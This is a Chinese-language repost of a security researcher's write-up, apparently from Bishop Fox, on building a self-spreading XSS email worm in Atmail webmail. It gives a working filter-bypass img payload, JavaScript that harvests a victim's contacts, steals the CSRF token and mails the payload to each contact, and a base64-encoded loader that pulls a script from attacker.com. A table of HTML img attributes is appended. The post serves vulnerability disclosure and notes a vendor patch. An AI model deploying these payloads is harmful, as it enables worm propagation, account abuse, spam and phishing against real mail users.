A-A+

如何在Atmail上构建XSS蠕虫

2017年06月27日 17:48 汪洋大海 暂无评论 阅读 10 views 次

测试环境:
在开始之前,我准备了一个简单的测试环境。使用以下命令发送电子邮件,将内容中的XSS测试有效内容管道传输到邮件中:

1
cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com

然后我使用Firefox开发工具来查看XSS payload是如何在webmail客户端的DOM中呈现的。

构建XSS有效payload:
第一步是构建一个XSS payload,可以完整地运行atmail的内容过滤。我开始发送一封包含所有有效的HTML标签的电子邮件,以查看哪些邮件传递后仍然保留,尽管我最终决定使用标签。虽然很适合构建XSS payload,但其缺点是受害者必须在XSS触发之前必须在atmail内“显示图像”。可以使用带有渲染的标签来开发更好的有效payload,而无需进一步的用户交互。

接下来,我开始记录了邮件如何清理我的有效载荷。我需要观察atmail如何处理标签中的字符和HTML属性,以避免过滤器并在受害者的浏览器中呈现语法正确的标签。通过发送包含每个有效属性(1)的标签,我注意到只允许src,alt,longdesc,style,height和width属性。另外,我注意到对我的有效载荷的几个修改,如将单引号转换为双引号,删除onerror事件,以及删除没有src属性的任何标记。

虽然onerror事件被删除,我怀疑单引号转换为双引号可能有助于避免白名单,如果两者都在标签中使用。最后,这个怀疑证明是正确的,虽然我不得不在两个标签之间使用一组双引号。以下是工作的XSS有效payload:

1
<img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'>

这在webmail客户端中呈现如下:

1
<img longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//&quot;" src="x" alt="showme">

没有查看应用程序源代码,在交付之前,无法准确知道对我的有效载荷进行哪些更改。然而,似乎atmail以单引号和双引号来解释这两个标签组合成一个。在longdesc属性中包含onerror事件,允许它通过内容过滤器,并在处理后正确呈现XSS。
(已经成功弹窗)

构建蠕虫:
找到一个工作的XSS向量后,下一步是创建一个有效载荷来传播我的电子邮件蠕虫。我写了一些执行三个步骤的JavaScript:

一、提取受害者的联系人列表
二、从atmail获取有效的CSRF令牌
三、向每个受害者的联系人发送电子邮件

此代码类似于以下内容,XSS有效内容包含在URL编码文本块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//HTTP request 请求联系人列表页面
xmlHttp=new XMLHttpRequest();
xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);
xmlHttp.send(null);
response=xmlHttp.responseText;
 
//通过正则匹配出所有联系人的email地址
var extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);
var uniqueemails = []; 
for(var i = 0; i < extractedemails.length; i++){if (uniqueemails.indexOf(extractedemails[i]) == -1) uniqueemails.push(extractedemails[i]);}
 
//HTTP request to get CSRF token  获取csrf token
xmlHttp.open('GET','/index.php/mail/contacts',false);
xmlHttp.send(null);
response2=xmlHttp.responseText;
var csrftoken = response2.match(/name=\"atmailCSRF" value=\"(.+?)\"/im);
//var csrftoken = document.getElementsByName('atmailCSRF')[0].value
 
//给所有联系人发送蠕虫信息。
for (var i = 0; i < uniqueemails.length; i++) {
	xmlHttp.open('POST','/index.php/mail/composemessage/send',false);
	var params = 'atmailCSRF=' + csrftoken[1] + '&emailTo=' + unique[i] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e';
	xmlHttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	xmlHttp.send(params);

首先,我尝试对此JavaScript进行Base64编码,并将其包含在XSS有效载荷的onerror事件中。然后使用eval(atob())对其进行解码和执行,如下所示:

1
<img longdesc=" xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src='showme'>

但是,我注意到atmail将我的Base64字符串限制为945个字符,太短。而不是将整个脚本包含在onerror事件中,我将其托管在外部位置,然后重写了我的XSS有效payload,如下所示:

1
onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"

上面显示的有效payload在页面的<head>元素中创建一个新的<script>标签,包括我的恶意外部托管的JavaScript。这也是Base64编码,使最终的有效payload如下:

1
<img longdesc="src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src='showme'>

随着一切都到位,蠕虫已经开始运作了。这个视频演示了它的行动:
看下面的视频必须翻墙,否则无法查看。youtube的视频

atmail上的XSS蠕虫将有利于垃圾邮件发送者和其他恶意行为者,他们将受益于操纵受害者向他们的联系人列表发送任意消息。由于其病毒性质和与已知联系人收到的电子邮件相关的附加信任,此攻击将非常适合垃圾邮件,恶意软件传送或网络钓鱼攻击。

披露时间表:
发现此漏洞后,我开始与atmail进行负责任的披露。截至2017年5月25日,他们已经解决了这个问题,可以通过升级到atmail版本7.8.0.2进行修补。

作者:Zach Julian 文章来源:https://www.bishopfox.com/blog/2017/06/how-i-built-an-xss-worm-on-atmail/

img必需的属性 - img属性简介

属性 描述
alt text 规定图像的替代文本。
src URL 规定显示图像的 URL。

可选的属性

属性 描述
align
  • top
  • bottom
  • middle
  • left
  • right
不推荐使用。规定如何根据周围的文本来排列图像。
border pixels 不推荐使用。定义图像周围的边框。
height
  • pixels
  • %
定义图像的高度。
hspace pixels 不推荐使用。定义图像左侧和右侧的空白。
ismap URL 将图像定义为服务器端图像映射。
longdesc URL 指向包含长的图像描述文档的 URL。
usemap URL 将图像定义为客户器端图像映射。
vspace pixels 不推荐使用。定义图像顶部和底部的空白。
width
  • pixels
  • %
设置图像的宽度。

 

标签:

给我留言